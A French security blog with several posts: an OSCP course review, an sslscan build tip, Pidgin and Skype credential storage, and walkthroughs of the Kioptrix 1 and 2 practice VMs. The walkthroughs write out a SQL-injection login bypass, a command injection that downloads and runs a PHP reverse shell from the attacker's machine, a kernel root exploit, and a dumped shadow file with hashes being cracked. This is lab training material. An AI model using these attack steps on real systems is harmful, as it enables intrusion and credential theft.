mercredi 24 décembre 2014

Try Harder (review PWK/OSCP)

Ce week-end, j'ai (enfin) terminé mon cycle PWK en obtenant la certification OSCP, par conséquent j'en profite pour faire un post pour les francophones qui voudraient en savoir plus, ou qui ne connaissaient juste pas et cherchent une formation en sécurité informatique (ou alors pour les managers qui cherchent quelle formation payer à leurs employés, mais je pense qu'on peut rêver).

PWK (Pentesting With Kali)

C'est la formation de base d'Offensive-Security permettant de se familiariser avec le monde fabuleux de la sécurité informatique. Dans mon cas, je pense être déjà pas mal familiarisé avec ce domaine, dans la mesure où ça fait 15 ans que je m'y intéresse (et pas loin de 8 ans que je bosse dedans), mais j'aime bien l'idée de potasser sur des sujets sur lesquels je ne m'étais jamais trop attardé avec un objectif intéressant (la certification).

La formation

La formation en elle même est intéressante. On se retrouve avec un fichier .PDF de 350 pages accompagné d'un .rar contenant des vidéos reprenant les manipulations détaillées dans le pdf (enfin presque toutes). Le tout est watermarké avec nom/prénom/adresse, au cas où les documents fuiteraient sur internet. Vous pouvez retrouver le sommaire du cours sur le site Offensive-Security. Alors ne rêvez pas non plus, pas de techniques über eleet là dedans non plus, mais assez de contenu pour débuter dans le pentest réseau, exploiter des vulnérabilités avec metasploit ou utiliser des exploits de exploit-db (et les adapter quand ils en ont besoin), ou pivoter d'un réseau à l'autre via des tunnels et port forwards, en passant par l'exploitation de stack overflows (et juste ça) de base dans des conditions réelles (ASLR, DEP) de type appli avec au moins une dll sans ASLR sous Windows 7 avec DEP désactivé.

Lab

Jusque là, rien de trop différent d'une formation du SANS (en l'occurence, SANS 560) en mode e-learning. Sauf que là où une formation SANS se déroule en 5-6 jours (parfois avec un prof), la formation PWK se déroule généralement entièrement chez soi (enfin, là où on veut), et on a un accès VPN à un réseau comportant une cinquantaine de machines pouvant toutes être compromises, à la difficulté variable. Alors ici, pas de scénarios trop tordus comme dans un CTF : c'est une formation qui se veut pratique, basée sur des cas concrets et généralement inspirés de cas réels. En vrac, et en évitant de trop sploiler, voici quelques scénarios de machines pouvant être rootées sur ce lab :
- Du "remote root" (dans divers services)
- Des creds par défaut sur des applications diverses dont on peut tirer parti de diverses manières (ça va du ftp anonyme nous permettant de récupérer des infos intéressantes, à l'outil de ticketing qui tourne en admin et qui peut être détourné pour exécuter du code sur le système)
- Des applications web trouées (applications réelles, dont du wordpress)
- Des fausses pistes (injection SQL un peu tricky à exploiter sur une machine vulnérable à un "remote root" du système)
- La nécessité de fouiller les machines permettant d'obtenir des pistes (passwords.txt, analyse de logs http à la recherche de postes clients à compromettre, ...)
- Etc.

J'insiste sur le fait que toutes les machines sont rootables. Si on bloque, c'est qu'il nous manque une information, et qu'on a pas fait suffisamment de "reconnaissance" ("Try Harder").

Le réseau accessible via le VPN est un réseau à plusieurs niveaux. Sur le site d'offsec on retrouve un schéma réseau qui ressemble à celui auquel on a accès :
http://www.offensive-security.com/wp-content/uploads/2012/01/offsec-playground-thumb-21.jpg

- Le "starting network" qui est le réseau "public" accessible directement depuis le VPN;
- Le "starfleet network" qui correspond à un réseau "dev", accessible depuis une poignée de machines du réseau "public";
- Le "middle earth network" correspondant au réseau "IT", accessible depuis une poignée de machines du réseau "public";
- Le "grey network" correspondant au réseau "admin", accessible uniquement en passant par certaines machines du réseau "IT"

Le but de tout ça étant de se familiariser avec la notion de "rebond", car même si lors de pentests internes, on se retrouve trèèèèès souvent avec des réseaux "à plat" ou avec des erreurs de configuration qui permettent du "any to any", il est intéressant de pouvoir s'entrainer pour les quelques cas où ça ne sera pas le cas.

On dispose d'un temps allant de 1 à 3 mois pour se balader sur le réseau (le bundle 3 mois + passage de certification revient à environ 850 euros, ce qui n'est pas excessif, à comparer à 4000 euros pour une formation du SANS, surtout pour une certification qui commence doucement à être reconnue).

On doit documenter la méthode de compromission des machines dans un rapport, en essayant de fournir le plus de détails possibles (screenshots, copies de term, exploits, etc). A titre personnel, je me suis organisé en prenant des notes et des screenshots à chaque étape. Je me retrouve à la fin avec un rapport "de lab" d'une centaine de pages.

Exam / challenge

Vient ensuite l'épreuve ultime: passer l'exam OSCP. Il est un peu spécial, et généralement ça impressionne les gens comme la "piscine epitech", dans le sens où il est annoncé comme un examen de 2x24 heures consécutives. A noter que le staff d'offensive security y fait référence comme le "challenge OSCP".

- 24 heures d'examen à proprement parler où on accède à un réseau comprenant 5 serveurs rapportant entre 10 et 25 points (10, 2x20 et 2x25), totalisant 100 points (70 sont requis pour obtenir la certification). Seule une partie des points est obtenue en cas de compromission partielle (on a tous les points si on lit un fichier accessible au root/admin, sinon un autre fichier, accessible avec un compte non-privilégié rapporte qu'une partie des points en gros)
- 24 heures pour rédiger un rapport de pentest, en anglais, relatif à ces 5 machines.

Si on se retrouve avec un peu moins de 70 points, le rapport des 3 mois de "lab" sera évalué par le staff d'offensive-security, et en fonction de sa qualité, ils accorderont (ou pas) les quelques points manquants.

Il existe un certain nombre de restrictions durant le "challenge" :
- l'utilisation de Metasploit est fortement réglementée. Concrètement il est possible de l'utiliser pour compromettre UNE machine, parmi TROIS sur lesquelles c'est permis (si ensuite il n'existe qu'un exploit Metasploit pour compromettre une machine, c'est que c'est ici qu'il sera le plus judicieux de l'utiliser). Cela est valable aussi bien pour les exploits en remote, que pour les élévations de privilèges locales au travers de Meterpreter.
- l'utilisation de Meterpreter est autorisée en tant que payload/outil de prise de contrôle à distance, mais pas les fonctions telles que "getsystem".
- les scanners de vulnérabilités un peu bourrins à la Nessus/OpenVAS, NeXpose, w3af, ... ainsi que les outils un peu trop automatisés (genre sqlmap) ne sont pas non plus autorisés. En revanche, il est parfaitement possible d'utiliser nmap et tous ses plugins, ainsi que burp.

Le pool de machines choisies est assez hétérogène, et il y a même une machine disposant d'un logiciel pour lequel il existe une vulnérabilité publique (un stack overflow basique exploitable à distance) nécessitant le développement d'un exploit en partant d'un poc provoquant un crash (la génération du shellcode ainsi que la recherche d'un eip pointant sur ce dernier étant donc à la charge du challenger).

Evidemment, tout doit être documenté dans un rapport "d'exam" à remettre au staff d'offsec par e-mail, avec des screenshots prouvant la compromission des machines (en gros un id/ifconfig/cat flag.txt ou son équivalent Windows).

Ensuite on reçoit un mail au bout de quelques jours, avec le verdict. On ne connait pas le nombre de points qu'on a obtenu, on sait juste si on passe ou pas. J'ai envoyé mon rapport Lundi dans la journée, mardi à 15h j'avais une réponse.

Quoi étudier en attendant ?

J'anticipe, au niveau de la littérature recommandée avant de s'engager là dedans :
- Le support de cours PWK fourni par Offensive-Security
De plus, la connaissance préalable d'au moins un langage de programmation est fortement recommandée, ne serait-ce que pour être capable de comprendre comment modifier un exploit qui ne fonctionne pas (avec un bonus pour le C dans le cas d'exploits de 1865 qui ne compilent plus sur un gcc récent).

Concernant l'investissement personnel...il faut être prêt à sacrifier quelques soirées, mais pas toutes. Cela dit, passer une dizaine d'heures par semaine sur cette formation n'est pas insurmontable. Tout dépend de là où on part, et de l'objectif que l'on se fixe. Pour l'exam, 24 heures c'est largement suffisant, n'imaginez pas qu'il faille préparer un stock de redbull. Il est faisable en beaucoup moins.

Conclusion

Globalement, si d'un point de vue technique je n'ai pas appris grand chose, ça m'a au moins motivé à persévérer (le fameux "try harder"), dans la mesure où chaque machine est pwnable. Si on y arrive pas, c'est qu'il nous manque une info pour continuer. Ca force donc à élargir le champ de recherche, ce qui sera forcément bénéfique dans le cadre de véritables pentests.

vendredi 19 décembre 2014

Support de SSLv2 dans sslscan (sous Linux)

Sslscan c'est beau et magique, mais depuis que les distributions GNU/Linux packagent des versions d'OpenSSL sans support sslv2, une partie des fonctionnalités de sslscan ne fonctionnent plus.
Evidemment, Internet regorge de tutos expliquant comment recompiler et packager la libssl sous diverses distributions Linux de warlordz (j'ai rien contre Kali, au contraire) pour ajouter le support sslv2 et recompiler sslscan.
Sur mon laptop, je n'utilise pas Kali (enfin si, dans une VM), j'ai juste un dossier dans lequel j'ai tous mes outils compilés par mes soins, et généralement plus ou moins up2date à la dernière version du repository git/svn/etc. Voici comment je me suis démerdé. L'avantage c'est que le reste de mes applis n'utilise pas une version de la libssl supportant SSLv2.

$ cd bordel/
$ wget https://www.openssl.org/source/openssl-1.0.1j.tar.gz
$ tar -xzf openssl-1.0.1j.tar.gz
$ cd openssl-1.0.1j/
$ ./config
$ make
$ cd ..
$ git clone https://github.com/rbsec/sslscan.git
$ cd sslscan/
$ gcc -o sslscan sslscan.c ../openssl-1.0.1j/libssl.a ../openssl-1.0.1j/libcrypto.a -I ../openssl-1.0.1j/include/ -DVERSION=\"1.9.8-rbsec\" -ldl

Ouais bon le coup du -DVERSION c'est parce que le Makefile l'ajoute à la compilation, et vu qu'ici on compile direct comme des gorets ...
Le reste c'est juste la compilation de la dernière version d'OpenSSL (en lib statique, le comportement par défaut) et la compilation en linkant sslscan avec les versions statiques de la libssl et la libcrypto. Comme ça pas de dépendance à cette libssl (sinon on peut aussi compiler OpenSSL en lib dynamique, suffit de "./config shared", compiler avec les LDFLAGS qui vont bien et modifier le LD_LIBRARY_PATH à chaque utilisation de sslscan ... assez lourd quoi).

Ensuite on a plus qu'à lancer notre sslscan :

meik@eleet ~bordel/sslscan $ ./sslscan --ssl2 xxx.xxx.xxx.xxx:443
Version: 1.9.8-rbsec
OpenSSL 1.0.1j 15 Oct 2014

Testing SSL server xxx.xxx.xxx.xxx on port 443

  TLS renegotiation:
Secure session renegotiation supported

  TLS Compression:
Compression disabled

  Heartbleed:
All TLS protocols disabled, cannot check for heartbleed.

  Supported Server Cipher(s):
Accepted  SSLv2    128 bits  RC4-MD5
Accepted  SSLv2    112 bits  DES-CBC3-MD5

  Preferred Server Cipher(s):
SSLv2    128 bits  RC4-MD5

  SSL Certificate:
Signature Algorithm: sha1WithRSAEncryption
RSA Key Strength: 2048

Maintenant plus d'excuses.

jeudi 12 juin 2014

Walkthrough Kioptrix 2

Après avoir rushé la première VM Kioptrix, je me suis mis à la seconde. Mon approche n'est pas spécialement inédite, mais j'essaie d'expliquer mon raisonnement à chaque fois.

Comme la précédente, dans mon vmware je l'ai configurée pour être sur vmnet8. Je scanne donc la plage d'adresses IP accessibles sur mon interface vmnet8 et très vite je tombe sur :

Nmap scan report for 192.168.115.131
Host is up (0.0017s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 3.9p1 (protocol 1.99)
80/tcp   open  http     Apache httpd 2.0.52 ((CentOS))
111/tcp  open  rpcbind  2 (RPC #100000)
443/tcp  open  ssl/http Apache httpd 2.0.52 ((CentOS))
631/tcp  open  ipp      CUPS 1.1
3306/tcp open  mysql    MySQL (unauthorized)


Un coup d'oeil rapide me dit que je n'aurai pas grand chose d'exploitable directement, en gardant de côté les vulns Apache, mais je me rappelle pas de vulnérabilités permettant l'exec de code arbitraire ces dernières années. Je vérifierai. Le reste, bien qu'un peu ancien ne me semble pas non plus exploitable directement.

Je regarde donc ce qui tourne sur le serveur http, j'obtiens une page de login. Je teste les grands classiques admin/admin & co puis j'arrive aux traditionnels auth bypass sql injection, bingo avec "admin" / ' or '1' = '1 (une liste sympathique à cet effet est disponible ici) et j'arrive sur une console d'admin un peu rustique me demandant une ip à pinger. 


Là encore, habitué des interfaces web foireuses, par réflexe je mets un 127.0.0.1;id et j'obtiens ce que j'attends :

127.0.0.1;id
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.105 ms
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.036 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.046 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1999ms
rtt min/avg/max/mdev = 0.036/0.062/0.105/0.031 ms, pipe 2
uid=48(apache) gid=48(apache) groups=48(apache)


Pour gagner du temps je me génère un meterpreter en php avec msfpayload :
$ ./msfpayload php/meterpreter/reverse_tcp LHOST=192.168.115.1 R > /tmp/shell.php
Je vire le petit '#' au début pour ne pas me faire niquer, et je prépare un handler sur ma machine pour réceptionner la connexion le moment venu :

$ ./msfcli exploit/multi/handler PAYLOAD=php/meterpreter/reverse_tcp LHOST=192.168.115.1 E
[*] Initializing modules...
[*] Processing XXX/msfconsole.rc for ERB directives.
resource (XXX)> db_connect -y XXX/config/database.yml.meik
[*] Rebuilding the module cache in the background...
resource (XXX/msfconsole.rc)> workspace -a MeiK
[*] Added workspace: XXX
PAYLOAD => php/meterpreter/reverse_tcp
LHOST => 192.168.115.1
[*] Started reverse handler on 192.168.115.1:4444
[*] Starting the payload handler...


On va donc récupérer le webshell depuis l'interface web du site foireux et l'exécuter :

Je lance un netcat pour servir le fichier :
nc -l -p 8080 < /tmp/shell.php

Et sur l'interface web je saisis cette commande :
127.0.0.1;wget 192.168.115.1:8080 -O /tmp/shell.php; php -f /tmp/shell.php

Qui file un paramètre au ping (en vrai on s'en fout), et exécute un wget pour récupérer le shell afin de le sauvegarder dans /tmp/shell.php et exécute ce fichier à l'aide de l'interpréteur php disponible sur la machine.

Pendant ce temps, sur un autre terminal :

[*] Sending stage (39848 bytes) to 192.168.115.131
[*] Meterpreter session 1 opened (192.168.115.1:4444 -> 192.168.115.131:32779) at 2014-06-11 23:58:50 +0200

meterpreter >


Comme vu au dessus, on a pas de super privilèges :
meterpreter > getuid
Server username: apache (48)


On va donc tenter de passer root. Pour ça, on regarde la version du kernel, soit à l'ancienne avec uname -sr, soit on se rappelle qu'on est en 2014 et que meterpreter intègre "sysinfo" :

meterpreter > sysinfo
Computer    : kioptrix.level2
OS          : Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686
Meterpreter : php/php


On utilise donc le script "Linux Exploit Suggester" en lui disant qu'on veut un exploit kernel 2.6.9 :

$ perl Linux_Exploit_Suggester.pl -k 2.6.9

Kernel local: 2.6.9

Searching among 65 exploits...

Possible Exploits:
[+] american-sign-language
   CVE-2010-4347
   Source: http://www.securityfocus.com/bid/45408/
[+] exp.sh
[+] half_nelson
   Alt: econet    CVE-2010-3848
   Source: http://www.exploit-db.com/exploits/6851
[+] half_nelson1
   Alt: econet    CVE-2010-3848
   Source: http://www.exploit-db.com/exploits/17787/
[+] half_nelson2
   Alt: econet    CVE-2010-3850
   Source: http://www.exploit-db.com/exploits/17787/
[+] half_nelson3
   Alt: econet    CVE-2010-4073
   Source: http://www.exploit-db.com/exploits/17787/
[+] krad
[+] krad3
   Source: http://exploit-db.com/exploits/1397
[+] pktcdvd
   CVE-2010-3437
   Source: http://www.exploit-db.com/exploits/15150/
[+] py2
[+] sock_sendpage
   Alt: wunderbar_emporium    CVE-2009-2692
   Source: http://www.exploit-db.com/exploits/9435
[+] sock_sendpage2
   Alt: proto_ops    CVE-2009-2692
   Source: http://www.exploit-db.com/exploits/9436
[+] udp_sendmsg_32bit
   CVE-2009-2698
   Source: http://downloads.securityfocus.com/vulnerabilities/exploits/36108.c
[+] video4linux
   CVE-2010-3081
   Source: http://www.exploit-db.com/exploits/15024/


Certains d'entre eux ont un peu trop d'exigences, on veut du rapide. On récupère donc le sploit correspondant à la CVE-2009-2698, on le compile et on l'exécute :

cd /tmp
wget http://downloads.securityfocus.com/vulnerabilities/exploits/36108.c

--23:20:49--  http://downloads.securityfocus.com/vulnerabilities/exploits/36108.c
           => `36108.c'
Resolving downloads.securityfocus.com... 143.127.139.111
Connecting to downloads.securityfocus.com|143.127.139.111|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,507 (2.4K) [text/plain]

    0K ..                                                    100%  394.37 KB/s

23:20:50 (394.37 KB/s) - `36108.c' saved [2507/2507]

gcc 36108.c -o sploit
./sploit

sh: no job control in this shell
sh-3.00# id
uid=0(root) gid=0(root) groups=48(apache)
sh-3.00# 

Walkthrough Kioptrix 1

Pour faire passer le temps, il m'arrive par moments de lancer une VM volontairement trouée à compromettre. A ce sujet, il en existe une très bonne liste sur le Poster Ultime du Pentest du SANS. Pour me changer les idées, j'ai lancé la première VM "Kioptrix" ce soir (que je connaissais de nom, mais j'étais persuadé jusqu'à ce soir qu'il s'agissait d'une n-ième distribution Linux orientée pentest comme BackTrack/Kali, Pentoo ou BlackArch).

Alors je la lance une première fois dans mon VMware, et je voyage d'au moins 10 ans dans le passé. Je n'avais plus vu d'écran de boot Linux tel que celui-ci depuis ... ben 10 ans. Je tombe sur le message de bienvenue (/etc/issue pour ceux qui n'ont jamais eu l'occasion de toucher à ce fichier) me disant en substance que le but est de passer root. Challenge Accepted. D'autant plus que sur un système ayant l'air d'avoir au moins 10 ans, ça ne sera franchement pas difficile.

Je relance donc la VM histoire de faire ça proprement et le documenter. Surtout, je fixe l'interface réseau sur laquelle le système va apparaître. Je choisis "vmnet8".

Je ne connais pas son adresse IP, mais vu que j'ai set la kioptrix sur l'interface vmnet8, j'ai fat un "ifconfig vmnet8", regardé mon ip et le masque réseau correspondant puis j'ai scanné la rangée d'adresses IP correspondant avec nmap en mode service scan (-sV) pour avoir les bannières.

J'obtiens les services suivants :
192.168.115.130  111   tcp    rpcbind      open   2 RPC #100000

192.168.115.130  80    tcp    http         open   Apache httpd 1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
192.168.115.130  22    tcp    ssh          open   OpenSSH 2.9p2 protocol 1.99
192.168.115.130  139   tcp    netbios-ssn  open   Samba smbd workgroup: MYGROUP
192.168.115.130  443   tcp    http         open   Apache httpd 1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
192.168.115.130  1024  tcp    status       open   1 RPC #100024

A partir de là, j'envisage les scénarios suivants :
- vulnérabilités affectant Apache
- vulnérabilités affectant Samba
- vulnérabilités affectant les services RPC (par contre eux je les connais assez mal)
- vulnérabilités affectant d'éventuelles applications web

Je regarde quand même ce qui tourne sur les ports 80/443 en lançant un nikto, qui ne me relève rien d'intéressant. Je peux aussi lancer un DirBuster, mais la perspective de lancer un outil en Java qui va flinguer ma batterie de laptop ne me réjouit pas (je vais ajouter "recoder DirBuster" sur ma TODO list, à côté de "voir si skipfish fait l'affaire pour remplacer DirBuster").

Je regarde donc la liste des exploits disponibles dans metasploit (ouais, c'est de la triche mais on est en 2014) visant Apache, mais il y en a un peu trop, et à peu près aucun ne me semble réellement pertinent (surtout du win32 on va dire). Je me dis que je regarderai plus tard, mais la version d'Apache me rappelle un exploit qui date un peu (openssl-too-open) qui avait fait de gros ravages il y a quelques années (2003 de mémoire - à l'époque il était fréquent de crawler Netcraft pour trouver des serveurs vulnérables à ce truc, shodan n'existait pas encore), mais c'est le mod_ssl qui était surtout concerné. Je regarderai plus tard si rien d'autre ne fonctionne.

Je regarde donc les vulnérabilités Samba via un "search samba" dans metasploit. Il y en a un qui sort du lot :
exploit/linux/samba/trans2open                  2003-04-07       great      Samba trans2open Overflow (Linux x86)

Je l'essaie avec un shellcode de type bind_tcp :

msf exploit(trans2open) > set PAYLOAD linux/x86/shell/bind_tcp
PAYLOAD => linux/x86/shell/bind_tcp
msf exploit(trans2open) > exploit

[*] Started bind handler
[*] Trying return address 0xbffffdfc...
[*] Trying return address 0xbffffcfc...
[*] Trying return address 0xbffffbfc...
[*] Trying return address 0xbffffafc...
[*] Sending stage (36 bytes) to 192.168.115.130
[*] Command shell session 2 opened (192.168.115.1:53449 -> 192.168.115.130:4444) at 2014-06-02 23:00:14 +0200

ls
id

uid=0(root) gid=0(root) groups=99(nobody)

Hop gagné, root. Je récupère le fichier shadow pour le cracker :

cat /etc/shadow
root:$1$XROmcfDX$tF93GqnLHOJeGRHpaNyIs0:14513:0:99999:7:::
bin:*:14513:0:99999:7:::
daemon:*:14513:0:99999:7:::
adm:*:14513:0:99999:7:::
lp:*:14513:0:99999:7:::
sync:*:14513:0:99999:7:::
shutdown:*:14513:0:99999:7:::
halt:*:14513:0:99999:7:::
mail:*:14513:0:99999:7:::
news:*:14513:0:99999:7:::
uucp:*:14513:0:99999:7:::
operator:*:14513:0:99999:7:::
games:*:14513:0:99999:7:::
gopher:*:14513:0:99999:7:::
ftp:*:14513:0:99999:7:::
nobody:*:14513:0:99999:7:::
mailnull:!!:14513:0:99999:7:::
rpm:!!:14513:0:99999:7:::
xfs:!!:14513:0:99999:7:::
rpc:!!:14513:0:99999:7:::
rpcuser:!!:14513:0:99999:7:::
nfsnobody:!!:14513:0:99999:7:::
nscd:!!:14513:0:99999:7:::
ident:!!:14513:0:99999:7:::
radvd:!!:14513:0:99999:7:::
postgres:!!:14513:0:99999:7:::
apache:!!:14513:0:99999:7:::
squid:!!:14513:0:99999:7:::
pcap:!!:14513:0:99999:7:::
john:$1$zL4.MR4t$26N4YpTGceBO0gTX6TAky1:14513:0:99999:7:::
harold:$1$Xx6dZdOd$IMOGACl3r757dv17LZ9010:14513:0:99999:7:::


Je passe le root à oclHashcat avec la wordlist "rockyou" mais sans succès. Je lance donc un bruteforce (-m 500 pour le format de mots de passe (FreeBSD-MD5), et -a 3 pour le mode bruteforce). A l'heure où je rédige ces lignes, le cassage est encore en cours, mais je l'arrêterai à 8 caractères (oclHashcat m'indique 10 heures restantes pour les mots de passe de 7 caractères). EDIT: je l'ai laissé tourner 1 semaine, sans résultats. Il m'annonçait 2 semaines pour couvrir les mots de passe de 8 caractères avec le charset standard.

vendredi 23 mai 2014

Pidgin & Forensics

/!\ Attention, article foireux. /!\

Dans un post précédent qui critiquait une non-info comme quoi Skype gardait en local des données personnelles en clair, je faisais allusion à des données similaires stockées par un autre produit de messagerie instantanée : Pidgin (attention, je ne compare pas les deux non plus).

Je ne vais pas faire un historique du projet, Wikipedia fait très bien l'affaire, mais en gros, Pidgin utilise la bibliothèque "libpurple", qui permet de gérer tout un tas de protocoles de messagerie, allant d'IRC à ICQ en passant par XMPP (ouais, Pidgin c'est juste un gros front-end en fait...). C'est donc pour cette raison qu'on ne trouvera pas de dossier .pidgin dans le "home" d'un utilisateur de pidgin. En revanche, on trouvera un ".purple", qui contient plus ou moins ces entrées :

meik@blabla:~/.purple$ ls -l
total 132
-rw-r--r-- 1 meik meik  6175 mai    7 21:20 accels
-rw------- 1 meik meik 12145 mai    7 20:06 accounts.xml
-rw------- 1 meik meik 47114 mai    7 21:46 blist.xml
drwx------ 3 meik meik  4096 juil.  1  2013 certificates
drwx------ 2 meik meik  4096 mai    7 21:43 icons
drwx------ 3 meik meik  4096 juil.  1  2013 logs
-rw------- 1 meik meik 26384 mai    7 21:00 prefs.xml
drwx------ 2 meik meik  4096 juil.  1  2013 smileys
-rw------- 1 meik meik   401 juil.  1  2013 status.xml
-rw------- 1 meik meik 14581 avril  2 11:33 xmpp-caps.xml

Je ne me suis pas attardé trop longtemps sur Skype (je sais juste que sur une session Skype ouverte depuis plusieurs mois sur un PC dont l'uptime est de 297 jours, et qui a été déconnecté d'Internet un certain nombre de fois, et dont le mot de passe de mon nom d'utilisateur Skype a été changé sans que ce changement ne soit répercuté sur le PC en question, Skype arrive toujours à s'authentifier...), mais il ne me semble pas que ce dernier stocke un quelconque mot de passe quelque part, ou du moins, pas en clair (ensuite, si quelqu'un sait, ça m'intéresse). Je suppose qu'il stocke plutot un token quelque part dans ~/.Skype (ensuite, en cas de changement du mot de passe, ce dernier devrait alors être révoqué côté serveur, afin d'empêcher qu'une session authentifiée avant changement de mot de passe ne puisse se réauthentifier avec le même token sans avoir à fournir une preuve de la connaissance du nouveau mot de passe...m'enfin un truc m'échappe peut-être). Bon, avec toutes ces conneries je me perds, je voulais juste dire que le fichier "accounts.xml" de Pidgin contient...des identifiants...en clair !

<account version='1.0'>
<account>
<protocol>prpl-jabber</protocol>
<name>moi@server/</name>
<password>[censuré]</password>

On peut ensuite s'amuser à consulter le contenu du dossier ~/.purple/logs/ qui contient un sous-dossier par type de compte (jabber, irc, etc), et encore une sous-arborescence par compte et ensuite par contact à qui l'on a parlé. Je ne vais pas reproduire ici d'extrait de conversation, mais voilà donc le genre d'infos qu'il est possible de récupérer.

Alors ensuite je veux bien que Skype ça soit le mal, mais si les logiciels libres font pareil, il y a bien une raison (c'est ce que je disais dans le post précédent : si un pirate prend le contrôle du PC de sa victime, il peut faire la même chose que lui, y compris lire ses logs; car même si ce dernier les chiffre, lorsqu'il souhaitera y accéder pour retrouver un numéro de téléphone super important, les données seront en clair à un endroit dans la mémoire de la machine, accessible par l'utilisateur ET le pirate).

Protip: Nokia N900 et kb_lock défectueux (écran qui clignote)

Il y a quelques semaines, mon bon vieux Nokia n900 (recyclé en "pwnphone") a commencé à défaillir. En gros, après un délai variable écoulé après le démarrage du téléphone, l'écran se mettait à "clignoter" (comprendre: s'allumer et s'éteindre plusieurs fois), et évidemment, le clavier semblait ne plus trop réagir au moment où l'écran s'éteignait. Ce qui est assez ennuyeux, vous en conviendrez aisément, lorsqu'on est dans un terminal pour geeker.

Fort heureusement, l'OS tournant sur ce téléphone (qui n'a pas été mis à jour depuis super longtemps) est un Linux (la distribution est Maemo), ce qui facilite un peu la tache pour essayer de comprendre ce qui se passe, et éventuellement régler le problème. La commande dmesg m'a aidé. En effet, entre deux blinks de mon écran, j'ai pu afficher le contenu du dmesg pour me rendre compte qu'il était rempli d'événements de ce type :
"kb_lock (GPIO 113) is now open"
"kb_lock (GPIO 113) is now closed"
[...]
En tout, une bonne dizaine par seconde. Une mauvaise impression m'a mené à penser que c'était l'écran coulissant qui était à l'origine de ce problème (me menant à démonter l'écran et son connecteur, résolvant le problème le temps d'une soirée ...), mais il s'agit de la GPIO 71 !
Quelques recherches m'ont mené au switch de verrouillage clavier situé sur le côté droit. C'est l'activation de ce dernier qui génère des événements sur la GPIO 113. Dans la mesure où je n'utilise pas ce switch lorsque l'écran clignote (faudrait être sacrément rapide pour l'activer une dizaine de fois en une poignée de secondes...), j'en déduis qu'il est défectueux (le n900 n'est plus produit par Nokia depuis 2009, je vous laisse faire le calcul de l'age minimum du téléphone...).

Fort heureusement, il est possible de désactiver, au niveau de l'OS, la prise en compte des événements générés par ce switch (le kb_lock). Il suffit de positionner à 1 le fichier déterminant la désactivation du kb_lock : /sys/devices/platform/gpio-switch/kb_lock/disable

# echo 1 > /sys/devices/platform/gpio-switch/kb_lock/disable

Evidemment, pour rendre cette manipulation persistante, il est nécessaire d'ajouter cette ligne dans un script qui sera exécuté au démarrage...

jeudi 1 mai 2014

Skype et les données personnelles en clair

Ces derniers jours j'ai vu passer un certain nombre de fois un article parlant des données personnelles des utilisateurs de Skype qui sont stockées en clair sur les machines de ces derniers, comme quoi ça serait un scandale; par exemple, je lis sur PCInpact (excusez la référence...) "il s’agit d’une porte ouverte aux pirates en cas d’accès à la machine."
Le problème, si le contenu est chiffré, c'est que si la machine est compromise, rien n'interdit au vilain pirate d'accéder au contenu "protégé", ce dernier étant chiffré avec une clé stockée à un endroit accessible par l'application pour utilisation "user-friendly", et si l'application peut y accéder (car elle aura besoin de ce contenu), un pirate aussi (je me comprends).
Il s'agit d'une problématique qui a déjà été "abordée" (si on veut) par les développeurs de Google Chrome, en expliquant pourquoi, d'après eux, il est limite absurde d'implémenter un système de "master password" pour déverrouiller les accès aux mots de passe enregistrés dans le navigateur :
I'm the Chrome browser security tech lead, so it might help if I explain our reasoning here. The only strong permission boundary for your password storage is the OS user account. So, Chrome uses whatever encrypted storage the system provides to keep your passwords safe for a locked account. Beyond that, however, we've found that boundaries within the OS user account just aren't reliable, and are mostly just theater.

Consider the case of someone malicious getting access to your account. Said bad guy can dump all your session cookies, grab your history, install malicious extension to intercept all your browsing activity, or install OS user account level monitoring software. My point is that once the bad guy got access to your account the game was lost, because there are just too many vectors for him to get what he wants.
We've also been repeatedly asked why we don't just support a master password or something similar, even if we don't believe it works. We've debated it over and over again, but the conclusion we always come to is that we don't want to provide users with a false sense of security, and encourage risky behavior. We want to be very clear that when you grant someone access to your OS user account, that they can get at everything. Because in effect, that's really what they get.

On s'y retrouve.
Ensuite, j'ai limite envie de dire "ooooold" quand je vois cette "news" sur Skype. En fait, déjà dans le bouquin "Violent Python" sorti fin 2012 l'auteur explique comment développer un parser de logs Skype en Python (assez obvious vu le titre du livre). A titre personnel, je me suis fait un bête "parser" de logs Skype en Perl il y a quelques mois, histoire d'avoir un formatage personnalisé ("parser" est un bien grand mot, surtout quand on voit que le script se contente de faire un SELECT sur une base sqlite3 ...), et pour finir, j'ai vu passer début Avril un script (linké via les liens de LOTFREE) faisant la même chose.

Et si on va par là, on peut s'intéresser au dossier "~/.purple" des utilisateurs de Pidgin sous Linux, histoire de ne pas cracher que sur Skype.

vendredi 3 janvier 2014

Review de la formation FOR 610 - Reverse Engineering Malware du SANS

Comme mentionné dans mon post précédent, j'ai eu l'occasion de suivre la formation "Reverse Engineering Malware" du SANS Institute, ainsi que passer la certification GREM qui l'accompagne. Je proposais d'en faire une review dans un post blog, et vu que j'ai eu de la demande pour ça dans les commentaires, j'ai décidé de passer une petite heure et demie à écrire mes impressions.

Alors les formations SANS, dans leur principe, s'adressent principalement à des gens ayant pas ou peu de notions dans le domaine; en tout cas, les prérequis ne sont pas énormes. Concernant cette formation, je ne partais pas non plus de rien, ou du moins, j'avais déjà eu affaire à du code assembleur au préalable, j'avais déjà observé le fonctionnement d'un malware dans une sandbox et j'avais déjà utilisé un debugger avant d'entamer la formation. De plus, ayant été développeur quelques années, les notions de liste chainée et pointeur en mémoire ne m'étaient pas inconnues. Alors ça tombe bien parce qu'au niveau des prérequis, si on fait abstraction des besoins logiciels et matériel (un ordinateur capable de faire tourner 2 VM pas trop gourmandes dans VMware), il est juste recommandé d'avoir des notions relatives à des concepts de programmation telles que "variable", "boucle" et "fonction".

